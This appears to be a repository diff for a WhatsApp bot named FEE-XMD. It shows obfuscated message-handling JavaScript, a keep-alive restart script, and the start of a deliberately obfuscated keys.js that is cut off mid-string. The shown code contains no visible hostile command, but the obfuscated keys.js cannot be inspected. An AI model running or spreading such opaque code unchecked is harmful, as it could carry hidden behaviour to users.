159)+_0x27d358(0x132)][_0x27d358(0x169)]),_0x3dde0a[_0x27d358(0x14f)]=_0x3dde0a[_0x27d358(0x169)][_0x27d358(0x159)+_0x27d358(0x132)][_0x27d358(0x169)][_0x3dde0a[_0x27d358(0x151)]];else{if(_0x42d076[_0x27d358(0x165)](_0x3dde0a[_0x27d358(0x151)],_0x42d076[_0x27d358(0x10a)])&&_0x3dde0a[_0x27d358(0x169)][_0x27d358(0x125)+_0x27d358(0x16d)]?.[_0x27d358(0x169)])_0x3dde0a[_0x27d358(0x151)]=_0x42d076[_0x27d358(0x106)](getContentType,_0x3dde0a[_0x27d358(0x169)][_0x27d358(0x125)+_0x27d358(0x16d)][_0x27d358(0x169)]),_0x3dde0a[_0x27d358(0x14f)]=_0x3dde0a[_0x27d358(0x169)][_0x27d358(0x125)+_0x27d358(0x16d)][_0x27d358(0x169)][_0x3dde0a[_0x27d358(0x151)]];else _0x42d076[_0x27d358(0x12a)](_0x3dde0a[_0x27d358(0x151)],_0x42d076[_0x27d358(0x17a)])&&_0x3dde0a[_0x27d358(0x169)][_0x3dde0a[_0x27d358(0x151)]]?_0x3dde0a[_0x27d358(0x14f)]=_0x3dde0a[_0x27d358(0x169)][_0x3dde0a[_0x27d358(0x151)]][_0x27d358(0x169)][_0x42d076[_0x27d358(0x13b)](getContentType,_0x3dde0a[_0x27d358(0x169)][_0x3dde0a[_0x27d358(0x151)]][_0x27d358(0x169)])]:_0x3dde0a[_0x27d358(0x14f)]=_0x3dde0a[_0x27d358(0x169)][_0x3dde0a[_0x27d358(0x151)]];}_0x3dde0a[_0x27d358(0x16a)]=_0x3dde0a[_0x27d358(0x169)]?.[_0x27d358(0x112)+'on']||_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0xf7)]||_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x184)]||_0x42d076[_0x27d358(0x165)](_0x3dde0a[_0x27d358(0x151)],_0x42d076[_0x27d358(0x148)])&&_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x166)+_0x27d358(0x11c)]?.[_0x27d358(0x113)+_0x27d358(0x142)]||_0x42d076[_0x27d358(0xfb)](_0x3dde0a[_0x27d358(0x151)],_0x42d076[_0x27d358(0x176)])&&_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x17b)+_0x27d358(0x180)]||_0x42d076[_0x27d358(0x12a)](_0x3dde0a[_0x27d358(0x151)],_0x42d076[_0x27d358(0x131)])&&((()=>{const _0x176525=_0x27d358;try{return JSON[_0x176525(0x14e)](_0x3dde0a[_0x176525(0x14f)]?.[_0x176525(0xf6)+_0x176525(0x12b)+_0x176525(0x168)]?.[_0x176525(0x164)])?.['id']||'';}catch{return'';}})())||_0x42d076[_0x27d358(0xfb)](_0x3dde0a[_0x27d358(0x151)],_0x42d076[_0x27d358(0x17a)])&&_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0xf7)]||'',_0x3dde0a[_0x27d358(0x184)]=_0x42d076[_0x27d358(0x174)](_0x3dde0a[_0x27d358(0x151)],_0x42d076[_0x27d358(0x176)])&&_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x17b)+_0x27d358(0x180)]||_0x42d076[_0x27d358(0x100)](_0x3dde0a[_0x27d358(0x151)],_0x42d076[_0x27d358(0x131)])&&((()=>{const _0x5dd16f=_0x27d358;try{return JSON[_0x5dd16f(0x14e)](_0x3dde0a[_0x5dd16f(0x14f)]?.[_0x5dd16f(0xf6)+_0x5dd16f(0x12b)+_0x5dd16f(0x168)]?.[_0x5dd16f(0x164)])?.['id']||'';}catch{return'';}})())||_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x184)]||_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0xf7)]||_0x3dde0a[_0x27d358(0x169)]?.[_0x27d358(0x112)+'on']||_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x141)+'t']||_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x127)+_0x27d358(0x10b)]||_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x105)]||'';let _0x5479e0=_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x16f)+'o']?.[_0x27d358(0x163)+_0x27d358(0x13c)];_0x3dde0a[_0x27d358(0xf9)]=_0x42d076[_0x27d358(0x12c)](_0x5479e0,null);let _0x246f56=_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x16f)+'o']?.[_0x27d358(0x17f)+'id']||[];_0x3dde0a[_0x27d358(0x17f)+'id']=_0x246f56[_0x27d358(0x14b)](_0x11a80d=>{const _0x8277d2=_0x27d358;if(_0x11a80d&&_0x11a80d[_0x8277d2(0x122)](_0x42d076[_0x8277d2(0x181)]))return _0x42d076[_0x8277d2(0x107)](resolveLidToJid,_0x11a80d);return _0x11a80d;});if(_0x3dde0a[_0x27d358(0xf9)]){let _0x401acb=_0x42d076[_0x27d358(0x178)](getContentType,_0x5479e0);_0x3dde0a[_0x27d358(0xf9)]=_0x5479e0[_0x401acb];[_0x42d076[_0x27d358(0xf3)]][_0x27d358(0x102)](_0x401acb)&&(_0x401acb=_0x42d076[_0x27d358(0x13a)](getContentType,_0x3dde0a[_0x27d358(0xf9)]),_0x3dde0a[_0x27d358(0xf9)]=_0x3dde0a[_0x27d358(0xf9)][_0x401acb]);if(_0x42d076[_0x27d358(0x12a)](typeof _0x3dde0a[_0x27d358(0xf9)],_0x42d076[_0x27d358(0x17c)]))_0x3dde0a[_0x27d358(0xf9)]={'text':_0x3dde0a[_0x27d358(0xf9)]};if(!_0x3dde0a[_0x27d358(0xf9)]||_0x42d076[_0x27d358(0x120)](typeof _0x3dde0a[_0x27d358(0xf9)],_0x42d076[_0x27d358(0x179)]))_0x3dde0a[_0x27d358(0xf9)]=null;else{_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x151)]=_0x401acb,_0x3dde0a[_0x27d358(0xf9)]['id']=_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x16f)+'o']?.[_0x27d358(0x11e)];let _0x2a0d48=_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x16f)+'o']?.[_0x27d358(0x114)]||_0x3dde0a[_0x27d358(0x162)];_0x2a0d48&&_0x2a0d48[_0x27d358(0x122)](_0x42d076[_0x27d358(0x181)])&&(_0x2a0d48=_0x42d076[_0x27d358(0x107)](resolveLidToJid,_0x2a0d48));_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x162)]=_0x2a0d48,_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x12e)]=_0x3dde0a[_0x27d358(0xf9)]['id']?.[_0x27d358(0x171)](_0x42d076[_0x27d358(0x109)])&&_0x42d076[_0x27d358(0x15f)](_0x3dde0a[_0x27d358(0xf9)]['id'][_0x27d358(0x154)],-0x1bd2+0xed*-0x4+-0x1*-0x1f96);let _0x53541e=_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x16f)+'o']?.[_0x27d358(0x108)+'t'];_0x53541e&&_0x53541e[_0x27d358(0x122)](_0x42d076[_0x27d358(0x181)])&&(_0x53541e=_0x42d076[_0x27d358(0x121)](resolveLidToJid,_0x53541e));_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x13d)]=_0x3fd0aa[_0x27d358(0x14a)](_0x53541e),_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x123)]=_0x42d076[_0x27d358(0x14d)](_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x13d)],_0x3fd0aa[_0x27d358(0x14a)](_0x3fd0aa[_0x27d358(0x115)]?.['id'])),_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x184)]=_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x184)]||_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0xf7)]||_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x112)+'on']||_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x141)+'t']||_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x127)+_0x27d358(0x10b)]||_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x105)]||'';let _0x1be450=_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0x16f)+'o']?.[_0x27d358(0x17f)+'id']||[];_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x17f)+'id']=_0x1be450[_0x27d358(0x14b)](_0x5d329f=>{const _0x412377=_0x27d358;if(_0x5d329f&&_0x5d329f[_0x412377(0x122)](_0x42d076[_0x412377(0x181)]))return _0x42d076[_0x412377(0x10f)](resolveLidToJid,_0x5d329f);return _0x5d329f;}),_0x3dde0a[_0x27d358(0x16c)+'bj']=_0x3dde0a[_0x27d358(0x16b)+_0x27d358(0x16d)]=async()=>{const _0x3589e1=_0x27d358;if(!_0x3dde0a[_0x3589e1(0xf9)]['id'])return![];let _0x2d905e=await _0x5a7fa0[_0x3589e1(0x173)+'e'](_0x3dde0a[_0x3589e1(0x162)],_0x3dde0a[_0x3589e1(0xf9)]['id'],_0x3fd0aa);return _0x42d076[_0x3589e1(0x15e)](smsg,_0x3fd0aa,_0x2d905e,_0x5a7fa0);};let _0x5480ec;const _0x184e71=()=>{const _0x29c3cf=_0x27d358;if(!_0x5480ec)_0x5480ec=_0x459de8[_0x29c3cf(0x170)]({'key':{'remoteJid':_0x3dde0a[_0x29c3cf(0xf9)][_0x29c3cf(0x162)],'fromMe':_0x3dde0a[_0x29c3cf(0xf9)][_0x29c3cf(0x123)],'id':_0x3dde0a[_0x29c3cf(0xf9)]['id']},'message':_0x5479e0,..._0x3dde0a[_0x29c3cf(0x172)]?{'participant':_0x3dde0a[_0x29c3cf(0xf9)][_0x29c3cf(0x13d)]}:{}});return _0x5480ec;};_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x158)]={get 'key'(){const _0x31b7e2=_0x27d358;return _0x42d076[_0x31b7e2(0xff)](_0x184e71)[_0x31b7e2(0x160)];}},_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x135)]=()=>_0x3fd0aa[_0x27d358(0x15a)+'e'](_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x162)],{'delete':_0x184e71()[_0x27d358(0x160)]}),_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x129)+'rd']=(_0x3d149d,_0x2ea1f4=![],_0x2b17b5={})=>_0x3fd0aa[_0x27d358(0x129)+'rd'](_0x3d149d,_0x184e71(),_0x2ea1f4,_0x2b17b5),_0x3dde0a[_0x27d358(0xf9)][_0x27d358(0x15d)]=()=>_0x3fd0aa[_0x27d358(0x12f)+_0x27d358(0x16e)](_0x3dde0a[_0x27d358(0xf9)]);}}}if(_0x3dde0a[_0x27d358(0x14f)]?.[_0x27d358(0xfa)])_0x3dde0a[_0x27d358(0x15d)]=()=>_0x3fd0aa[_0x27d358(0x12f)+_0x27d358(0x16e)](_0x3dde0a[_0x27d358(0x14f)]);_0x3dde0a[_0x27d358(0x184)]=_0x3dde0a[_0x27d358(0x184)]||_0x3dde0a[_0x27d358(0x16a)]||'';if(_0x3dde0a[_0x27d358(0x160)]){const _0x125f9f=_0x3dde0a[_0x27d358(0x162)]||_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x114)]||'',_0x4486aa=_0x3dde0a[_0x27d358(0x172)]?_0x3dde0a[_0x27d358(0x108)+'t']||_0x3dde0a[_0x27d358(0x13d)]||_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x108)+'t']||'':'';_0x3dde0a[_0x27d358(0x130)]={'id':_0x3dde0a[_0x27d358(0x160)]['id'],'remoteJid':_0x125f9f,'fromMe':_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x123)]||![],..._0x3dde0a[_0x27d358(0x172)]&&_0x4486aa?{'participant':_0x4486aa}:{}};}else _0x3dde0a[_0x27d358(0x130)]=_0x3dde0a[_0x27d358(0x160)];return _0x3dde0a[_0x27d358(0xf4)]=(_0x1f9fa8,_0x194bb7=_0x3dde0a[_0x27d358(0x162)],_0x9541e8={})=>{const _0x237b19=_0x27d358;try{return _0x3fd0aa[_0x237b19(0x15a)+'e'](_0x194bb7,{'text':_0x42d076[_0x237b19(0x106)](String,_0x1f9fa8)},{..._0x9541e8});}catch(_0x419e04){return _0x3fd0aa[_0x237b19(0x15a)+'e'](_0x194bb7,{'text':_0x42d076[_0x237b19(0x178)](String,_0x1f9fa8)});}},_0x3dde0a[_0x27d358(0x167)]=()=>smsg(_0x3fd0aa,_0x459de8[_0x27d358(0x170)](_0x459de8[_0x27d358(0x101)](_0x3dde0a)),_0x5a7fa0),_0x3dde0a[_0x27d358(0x129)+'rd']=(_0x43d5ee=_0x3dde0a[_0x27d358(0x162)],_0xcbc9a9=![],_0x4b06a6={})=>_0x3fd0aa[_0x27d358(0x129)+'rd'](_0x43d5ee,_0x3dde0a,_0xcbc9a9,_0x4b06a6),_0x3dde0a;}export{smsg,lidMappingCache};
FEE-XMD-main/index.js ADDED
The diff for this file is too large to render. See raw diff
 
FEE-XMD-main/keep-alive.js ADDED
@@ -0,0 +1,11 @@
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { spawn } from 'child_process';
2
+ let _rc = 0;
3
+ function start() {
4
+ const p = spawn(process.execPath, ['index.js'], { stdio: 'inherit' });
5
+ p.on('close', () => {
6
+ _rc++;
7
+ setTimeout(start, Math.min(_rc * 2000, 15000));
8
+ });
9
+ }
10
+ start();
11
+
FEE-XMD-main/keys.js ADDED
@@ -0,0 +1 @@
 
 
1
+ function 雪星月(){}var 林川=function(雪星月,林川){return 林川(雪星月())}(月光,星泉月);var 風月海海=[],火風光=['\u0064\u0074\u0049\u004c\u003e\u007a\u0044\u0069\u0044\u004f\u0055\u004d\u007c\u002c',木水水(0),木水水(1),木水水(2),木水水(3),木水水(4),木水水(5),木水水(6),木水水(7),木水水(8),木水水(9),木水水(8),木水水(10),木水水(11),木水水(12),木水水(13),木水水(14),木水水(15),'\u003b\u0070\u003f\u0058\u0030\u0039\u0041\u0048\u0067\u004e\u0078\u0065\u002a\u0033\u0077\u0038\u006d\u0064\u0051\u0049\u006a\u0060\u0057\u0053\u0055\u0072\u0066\u005d\u005d\u0052\u0034\u002e\u0076\u0056\u0051\u0058\u006f\u0065\u003b\u0034\u0039\u0032\u0064\u007d\u007c\u004d\u0036\u0071\u0041\u0057\u0077\u0023\u005d\u0053\u004f\u006b\u0033\u006b\u0036\u0022\u0025\u005f\u0031\u0057\u0029\u0046\u0055\u0041\u003a',木水水(16),'\x3b\x70\x3f\x58\x31\x21\x49\x6a\x2a\x72\x4c\x69\x54\x75\x63\x63\x42\x68\x60\x4c\x43\x53\x78\x43\x46\x59\x6e\x5a\x57\x4d\x34\x2e\x76\x56\x51\x58\x6f\x65\x68\x71\x6c\x55\x35\x59\x53\x2e\x30\x31\x3b\x4f\x3f\x7a\x77\x70\x3b\x6b\x43\x57\x4a\x79\x3e\x7c\x3a\x45\x43\x6c\x4f\x5a\x57',木水水(17),'\u003b\u0070\u003f\u0058\u002f\u0048\u0022\u0044\u006a\u0051\u0067\u0072\u003b\u0067\u0045\u005e\u0029\u006c\u0040\u004c\u0028\u003b\u004f\u0073\u0057\u0064\u0051\u0024\u0050\u004d\u0034\u002e\u0076\u0056\u0051\u0058\u006f\u0065\u005e\u007c\u007b\u004e\u0029\u002f\u0037\u002b\u0057\u0060\u0066\u0037\u007d\u0049\u0038\u002f\u0029\u005d\u0062\u0022\u003c\u0066\u0025\u005f\u002f\u0045\u0025\u0037\u0054\u0069\u0050',木水水(18),木水水(19),木水水(20),木水水(21),木水水(8),木水水(22),木水水(23),'\x55\x77\x7c\x6a\x23\x39\x37\x34\x55\x7e\x4b\x35\x49\x7e\x74\x68',木水水(24),木水水(21),'\x68\x46\x4d\x28\x37\x67\x52\x60\x37\x64\x5e\x79\x23\x67\x3a\x75\x28\x77\x69\x23\x25\x64\x6a\x7c\x4b\x51\x2a\x5a\x22\x51\x33\x68\x3c\x46\x29\x54\x50\x56\x64\x71\x6f\x3c\x7e\x7e\x32\x65\x77\x38\x63\x77\x74\x5a\x35\x2f\x4f\x2e\x7e\x57\x5d\x7b\x65\x3a\x46\x77\x5a\x67\x52\x56\x47\x44\x52\x30\x47\x4c\x35\x2f\x73\x74\x47\x22\x45\x31\x4f\x45\x7e\x23\x5e\x24\x55\x3b\x58\x25\x4a\x39\x67\x7d\x25\x3f\x79\x66\x7e\x37\x5e\x26\x26\x3e\x46\x36\x6d\x66\x55\x22','\x55\x77\x7c\x6a\x23\x39\x37\x34\x55\x7e\x4b\x35\x68\x79\x42\x45\x5e\x46\x40\x66\x52\x49\x4b',木水水(25),木水水(26),木水水(27),木水水(28),木水水(29),木水水(21),'\x68\x46\x4d\x28\x37\x67\x52\x60\x37\x64\x5e\x79\x23\x67\x3a\x75\x28\x77\x69\x23\x25\x64\x6a\x7c\x4b\x51\x2a\x5a\x22\x51\x33\x68\x3c\x46\x29\x54\x50\x56\x64\x71\x6f\x3c\x7e\x7e\x32\x65\x77\x38\x63\x77\x74\x5a\x35\x2f\x4f\x2e\x7e\x57\x5d\x7b\x65\x3a\x46\x77\x5a\x67\x52\x56\x47\x44\x52\x30\x47\x4c\x35\x2f\x73\x74\x47\x22\x45\x31\x4f\x45\x7e\x23\x5e\x24\x55\x3b\x58\x25\x4a\x39\x67\x7d\x25\x3f\x79\x66\x7e\x37\x5e\x26\x26\x3e\x46\x36\x6d\x66\x55\x22',木水水(8),木水水(10),木水水(11),木水水(30),木水水(8),木水水(31),木水水(32),木水水(33),木水水(34),木水水(21),木水水(35),木水水(36),'\x7b\x2c\x55\x59\x65\x24\x52\x7c\x55\x31\x47\x32\x59\x3e\x21\x79',木水水(37),'\u0068\u0046\u004d\u0028\u0037\u0067\u0052\u0060\u0037\u0064\u005e\u0079\u0023\u0067\u003a\u0075\u0028\u0077\u0069\u0023\u0025\u0064\u006a\u007c\u004b\u0051\u002a\u005a\u0022\u0051\u0033\u0068\u003c\u0046\u0029\u0054\u0050\u0056\u0064\u0071\u006f\u003c\u007e\u007e\u0032\u0065\u0077\u0038\u0063\u0077\u0074\u005a\u0035\u002f\u004f\u002e\u007e\u0057\u005d\u007b\u0065\u003a\u0046\u0077\u005a\u0067\u0052\u0056\u0047\u0044\u0052\u0030\u0047\u004c\u0035\u002f\u0073\u0074\u0047\u0022\u0045\u0031\u004f\u0045\u007e\u0023\u005e\u0024\u0055\u003b\u0058\u0025\u004a\u0039\u0067\u007d\u0025\u003f\u0079\u0066\u007e\u0037\u005e\u0026\u0026\u003e\u0046\u0036\u006d\u0066\u0055\u0022','\u0051\u0053\u0072\u003d\u007c','\x68\x46\x4d\x28\x37\x67\x52\x60\x37\x64\x5e\x79\x23\x67\x3a\x75\x28\x77\x69\x23\x25\x64\x6a\x7c\x4b\x51\x2a\x5a\x22\x51\x33\x68\x3c\x46\x29\x54\x50\x56\x64\x71\x6f\x3c\x7e\x7e\x32\x65\x77\x38\x63\x77\x74\x5a\x35\x2f\x4f\x2e\x7e\x57\x5d\x7b\x65\x3a\x46\x77\x5a\x67\x52\x56\x47\x44\x52\x30\x47\x4c\x35\x2f\x73\x74\x47\x22\x45\x31\x4f\x45\x7e\x23\x5e\x24\x55\x3b\x58\x25\x4a\x39\x67\x7d\x25\x3f\x79\x66\x7e\x37\x5e\x26\x26\x3e\x46\x36\x6d\x66\x55\x22','\x3b\x3a\x4c\x64\x53\x31\x7c\x63\x26\x2b\x2a',木水水(21),木水水(38),木水水(8),木水水(39),木水水(21),木水水(40),木水水(41),木水水(42),木水水(43),木水水(42),木水水(44),木水水(21),木水水(45),木水水(21),木水水(46),木水水(47),木水水(42),木水水(21),木水水(48),木水水(21),'\x68\x46\x4d\x28\x37\x67\x52\x60\x37\x64\x5e\x79\x23\x67\x3a\x75\x28\x77\x69\x23\x25\x64\x6a\x7c\x4b\x51\x2a\x5a\x22\x51\x33\x68\x3c\x46\x29\x54\x50\x56\x64\x71\x6f\x3c\x7e\x7e\x32\x65\x77\x38\x63\x77\x74\x5a\x35\x2f\x4f\x2e\x7e\x57\x5d\x7b\x65\x3a\x46\x77\x5a\x67\x52\x56\x47\x44\x52\x30\x47\x4c\x35\x2f\x73\x74\x47\x22\x45\x31\x4f\x45\x7e\x23\x5e\x24\x55\x3b\x58\x25\x4a\x39\x67\x7d\x25\x3f\x79\x66\x7e\x37\x5e\x26\x26\x3e\x46\x36\x6d\x66\x55\x22',木水水(49),木水水(42),木水水(50),木水水(42),���水水(43),木水水(21),木水水(21),'\x68\x46\x4d\x28\x37\x67\x52\x60\x37\x64\x5e\x79\x23\x67\x3a\x75\x28\x77\x69\x23\x25\x64\x6a\x7c\x4b\x51\x2a\x5a\x22\x51\x33\x68\x3c\x46\x29\x54\x50\x56\x64\x71\x6f\x3c\x7e\x7e\x32\x65\x77\x38\x63\x77\x74\x5a\x35\x2f\x4f\x2e\x7e\x57\x5d\x7b\x65\x3a\x46\x77\x5a\x67\x52\x56\x47\x44\x52\x30\x47\x4c\x35\x2f\x73\x74\x47\x22\x45\x31\x4f\x45\x7e\x23\x5e\x24\x55\x3b\x58\x25\x4a\x39\x67\x7d\x25\x3f\x79\x66\x7e\x37\x5e\x26\x26\x3e\x46\x36\x6d\x66\x55\x22',木水水(51),'\x67\x64\x69\x5a\x7e\x41\x7c\x6d',木水水(50),木水水(52),木水水(43),木水水(42),木水水(50),木水水(21),木水水(53),木水水(54),木水水(55),木水水(56),木水水(57),木水水(58),木水水(59),木水水(60),木水水(61),木水水(62),木水水(63),木水水(64),木水水(65),木水水(66),木水水(67),木水水(68),'\u007c\u0070\u005b\u0069\u0073',木水水(69),木水水(70),木水水(71),'\x59\x59\x5f\x7c\x6b\x52\x6c\x40\x28\x36','\x29\x57\x4a\x22\x77\x7c\x2a\x41','\x6d\x51\x34\x58\x5f\x43\x32\x7c\x34',木水水(72),木水水(73),木水水(74),木水水(75),'\x57\x4b\x21\x7c\x23\x40\x4d\x42\x4c',木水水(76),木水水(77),'\x25\x30\x66\x70\x35\x24\x2f\x7c\x5a\x3c\x50\x2b\x5d','\u0059\u0059\u005f\u007c\u006b\u0052\u0047\u002f\u0068\u0039\u003f\u0051\u0067',木水水(78),'\x7c\x77\x36\x7c\x7c\x53\x39\x34\x76\x42',木水水(79),木水水(80),木水水(81),木水水(82),木水水(83),木水水(84),'\u005e\u0068\u004e\u0031\u0077\u007c\u0064\u002a\u0037\u0060',木水水(85),木水水(86),木水水(87),木水水(88),'\u0031\u003c\u007c\u0075\u006e\u0049\u0066\u0034\u006c\u0055\u007a\u003a\u0033\u0048\u0022',木水水(89),木水水(90),'\u0037\u0031\u0033\u0050\u002e\u007e\u003c\u0040\u002f\u0064\u0055\u0067\u007c\u004d\u003e\u0031\u0033\u0067\u0033\u0049\u003e\u0067\u0076\u0073\u0024\u0073\u0051\u0031\u004c\u0052\u0067\u0075\u005b\u0030\u003b\u0059\u0079',木水水(91),'\x7b\x79\x39\x50\x48\x2b\x72\x26\x25\x4c\x28\x3e\x64\x7c\x71\x4e\x52\x5e\x6e\x54\x58\x4d\x41\x6b\x75\x7e\x78\x2e\x5b\x67\x6e\x5e','\x48\x24\x35\x41\x3d\x7e\x75\x71\x6e\x79\x3d\x5a\x64\x7c\x5a\x5e\x74\x24\x70\x65\x62\x42\x5e\x22\x67\x64\x24\x5f\x68\x21\x63\x7c\x73\x5d',木水水(92),木水水(93),木水水(94),'\u0036\u0069\u006a\u0050\u0073\u0025\u0058\u0053\u0071\u0079\u0075\u007c\u0026\u0025\u006e\u005e\u0030\u0022\u0026\u0034\u0076\u003c\u003e\u005d\u0078\u0051\u0063\u002b\u0038\u003e\u006b\u0057\u0061\u0024\u0057\u004a\u0054\u0030\u005e\u0060\u007a',木水水(95),木水水(96),木水水(97),木水水(98),木水水(99),木水水(100),木水水(101),'\x5a\x42\x2f\x4c\x48\x48\x5a\x47\x4c\x31\x24\x5a\x24\x7e\x6f\x7c\x52\x37\x25\x70\x22\x44\x44\x44\x72\x3b\x23\x34\x49\x4d\x7b\x45\x74\x4f\x56\x58\x34\x5f\x21\x49\x21\x51','\x49\x70\x63\x34\x3f\x6c\x6d\x4e\x5a\x64\x4a\x7a\x64\x7c\x34\x7c\x6e\x37\x35\x41\x77\x2a\x39\x6b\x3b\x6b\x21',木水水(102),木水水(103),'\u007c\u0045\u0023\u0059\u0033\u0062\u003e\u005d\u0060\u0037\u0058\u0065\u0062\u006d\u003f\u002c\u0046\u0024\u006d',木水水(104),木水水(105),木水水(106),'\u006c\u0063\u0067\u004c\u0038\u003e\u004a\u002a\u0079\u0032\u0034\u006b\u006f\u002b\u0063\u0063\u0046\u005a\u0043\u0054\u0078\u0049\u0077\u0034\u0042\u0037\u0072\u0049\u005e\u0065\u0029\u002e\u007c\u0057\u0068\u004c\u0047\u0042\u005e\u006d','\u0036\u0076\u003c\u004c\u003e\u0069\u005f\u007c\u003d\u006b\u0029\u007e\u0061\u004d\u002a\u0045\u007e\u0057\u004d\u0028\u003b\u002a\u004b\u007c\u004d\u005f\u0022\u004a\u005f\u0051\u005d\u0063\u0067\u0069\u007e\u0059',木水水(107),木水水(108),木水水(109),木水水(110),木水水(111),'\x4f\x7d\x46\x34\x40\x21\x2f\x7c\x50\x37\x51\x72\x4d\x38\x61\x50\x4e\x5a\x5e\x69\x6d\x53\x31\x39\x4d\x47\x28\x37\x52\x56\x31\x76\x4b\x4c\x6b\x42\x77\x3c\x63\x64\x43\x57\x4d\x53\x46\x28','\x2b\x40\x36\x68\x7c\x7b\x64\x40\x72\x3c\x46\x3e\x3c\x33\x4b\x44\x6a\x30\x34\x6f\x4b\x62\x3a\x49\x3e\x54\x30\x67\x32\x2e\x50\x23\x71\x72\x66\x46\x3d\x39\x6d\x7c\x41\x72\x78\x61\x35\x4f',木水水(112),'\u0039\u0056\u0034\u007b\u0048\u0030\u0051\u0034\u005f\u0072\u005d\u007b\u002c\u0063\u0047\u007c\u003f\u0030\u0048\u0068\u0028\u005f\u0051\u003b\u004f\u005f\u007c\u004f\u0069\u0043\u005b\u0071\u0064\u0069\u0056\u0050\u0028\u0044\u0044\u0047\u0029\u0064\u0077\u0034\u005b\u007a',木水水(113),木水水(114),木水水(115),木水水(116),木水水(117),木水水(118),木水水(119),'\u0055\u0063\u0030\u0075\u0053\u0033\u0025\u0071\u0058\u007e\u0026\u003c\u003c\u0033\u0033\u004e\u006f\u0042\u0049\u0023\u007c\u0039\u0053\u0053\u0075\u0031\u0078\u0061\u004d\u0045\u004a\u0030\u0023\u0042\u003b\u0042\u0055\u0038\u006c\u0034\u0035\u0037\u007b\u007a\u0039\u0043\u0022','\u0068\u0024\u0054\u0075\u005d\u0052\u0033\u007c\u0042\u0037\u0066\u003b\u0040\u0038\u006f\u0068\u0070\u0079\u0068\u0066\u0033\u005f\u0076\u0034\u007a',木水水(120),木水水(121),'\x6c\x46\x56\x50\x58\x4a\x22\x43\x7e\x7e\x31\x69\x41\x67\x35\x73\x39\x57\x52\x21\x4a\x3c\x60\x49\x7c\x43\x69',木水水(122),木水水(123),木水水(124),'\x51\x63\x62\x50\x62\x4a\x4c\x2a\x7e\x31\x4e\x7c\x59\x28\x42\x76\x73\x3c\x5d\x5a\x38\x2f\x5d\x6b\x3d\x37\x5e\x2f\x46\x25\x24\x4e\x40\x23\x55\x23\x7b\x64\x4b',木水水(125),'\u006e\u0066\u004e\u002b\u0072\u0052\u007c\u006a\u004c\u0043\u0029\u007e\u004c\u005f\u005a\u005e\u006b\u0056\u0058\u003b\u0055\u0025\u0036\u0023\u0032\u0070\u006a\u0048\u0053\u002e\u005a\u0031\u002b\u0067\u0071\u005a\u0022',木水水(126),木水水(127),木水水(128),木水水(129),木水水(130),'\u0030\u005f\u006d\u0041\u0029\u003b\u0050\u0049\u0065\u0051\u005a\u0075\u007e\u0079\u0077\u0045\u005f\u0072\u0073\u002b\u0029\u0053\u0051\u0039\u0070\u0047\u0065\u007c\u0035\u007e\u0025\u0060\u0052\u0030\u006a\u0068\u003d\u0039\u007a\u0054\u005b\u0072\u0048\u004e\u0024\u0075\u0059',木水水(131),木水水(132),木水水(133),木水水(134),木水水(135),'\u0074\u0077\u0055\u0041\u004d\u0048\u0047\u0053\u0048\u0070\u0037\u0041\u004f\u0078\u0072\u0031\u0028\u0065\u007a\u0041\u0062\u0021\u004d\u006b\u006d\u004c\u0077\u0048\u0047\u007c\u0061\u0074\u0063\u0024\u0033\u0034\u0030\u0060\u004b',木水水(136),木水水(137),木水水(138),木水水(139),木水水(140),木水水(141),木水水(142),木水水(143),木水水(144),木水水(145),木水水(146),木水水(147),木水水(148),'\u0073\u004e\u0028\u0021\u005d\u0076\u006a\u007c\u0050\u0072\u0052\u0042\u0033\u002e\u002b\u002e\u0025\u0063\u0037\u0046\u0056\u0025\u007d\u0034\u006c\u0072\u0066\u0041\u0021\u0078\u0079\u0045\u0060\u0056\u0064\u005a\u0077\u003c\u0072\u006d','\x29\x72\x7c\x65\x7c\x60\x6a\x4e\x65\x5f\x4a\x3c\x37\x44\x45\x71\x6c\x56\x38\x58\x3d\x56\x45\x49\x3a\x3c\x5f\x32\x6c\x67\x37\x31',木水水(149),木水水(150),'\x21\x70\x63\x58\x5e\x61\x4f\x3b\x78\x73\x3b\x58\x28\x3e\x61\x5e\x4c\x53\x33\x66\x2b\x58\x74\x34\x45\x57\x41\x4e\x41\x7a\x4f\x31\x62\x61\x25\x54\x36\x4d\x7b\x7c\x3d\x37\x5a\x68\x68\x45\x66\x73',木水水(151),'\u0029\u0031\u0076\u0049\u003c\u0030\u0061\u004e\u007b\u007e\u0025\u003b\u007c\u004f','\x33\x70\x50\x23\x63\x2a\x51\x39\x5f\x3